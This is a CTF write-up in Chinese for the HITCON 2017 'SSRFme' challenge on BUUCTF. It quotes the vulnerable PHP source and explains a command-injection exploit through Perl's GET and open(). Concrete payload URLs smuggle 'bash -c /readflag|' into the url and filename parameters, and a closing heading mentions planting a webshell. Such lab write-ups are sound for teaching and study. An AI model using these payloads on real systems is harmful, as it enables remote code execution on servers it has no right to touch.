[BUUCTF][HITCON 2017]SSRFme


参考

https://blog.csdn.net/a3320315/article/details/103544980?spm=1001.2101.3001.6650.1&utm_medium=distribute.pc_relevant.none-task-blog-2~default~CTRLIST~Rate-1.pc_relevant_paycolumn_v3&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2~default~CTRLIST~Rate-1.pc_relevant_paycolumn_v3&utm_relevant_index=2

了解新知识

php pathinfo
escapeshellarg
basename

题目源码

<?php
    if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        $http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
        $_SERVER['REMOTE_ADDR'] = $http_x_headers[0];
    }

    echo $_SERVER["REMOTE_ADDR"];

    $sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
    @mkdir($sandbox);
    @chdir($sandbox);

    $data = shell_exec("GET " . escapeshellarg($_GET["url"]));
    $info = pathinfo($_GET["filename"]);
    $dir  = str_replace(".", "", basename($info["dirname"]));
    @mkdir($dir);
    @chdir($dir);
    @file_put_contents(basename($info["basename"]), $data);
    highlight_file(__FILE__);

理解代码

通过XFF获取了本机的ip,然后输出。变量sandbox的值为"sandbox/拼接md5加密后的(range拼接ip地址)"。创建sandbox值的文件夹,进入该文件夹
然后data值为执行命令(get传参url)所得的字符串文本。dir值为get传参filename的不带后缀,不带路径的文件名值。
把data值放入此filename文件中

解题

1.命令执行

利用perl的open命令有可能会导致命令执行
首先得满足前面的文件存在, 才会继续到open语句, 所以在执行命令前得保证有相应的同名文件:
?url=&filename=bash -c /readflag| 先新建一个名为“bash -c /readflag|”的文件,用于之后的命令执行
?url=file:bash -c /readflag|&filename=aaa 再利用GET执行bash -c /readflag保存到111文件
访问sandbox/md5/aaa(得到flag)

payload:
http://63ae2457-8f28-47fe-9a49-e760da0719f9.node4.buuoj.cn:81/?url=/&filename=yxzy
http://63ae2457-8f28-47fe-9a49-e760da0719f9.node4.buuoj.cn:81/sandbox/230317844a87b41e353b096d0d6a5145/yxzy
http://63ae2457-8f28-47fe-9a49-e760da0719f9.node4.buuoj.cn:81/?url=file:bash%20-c%20/readflag|&filename=bash%20-c%20/readflag|
http://63ae2457-8f28-47fe-9a49-e760da0719f9.node4.buuoj.cn:81/?url=file:bash%20-c%20/readflag|&filename=123
http://63ae2457-8f28-47fe-9a49-e760da0719f9.node4.buuoj.cn:81/sandbox/230317844a87b41e353b096d0d6a5145/123

2.用vps写一句话木马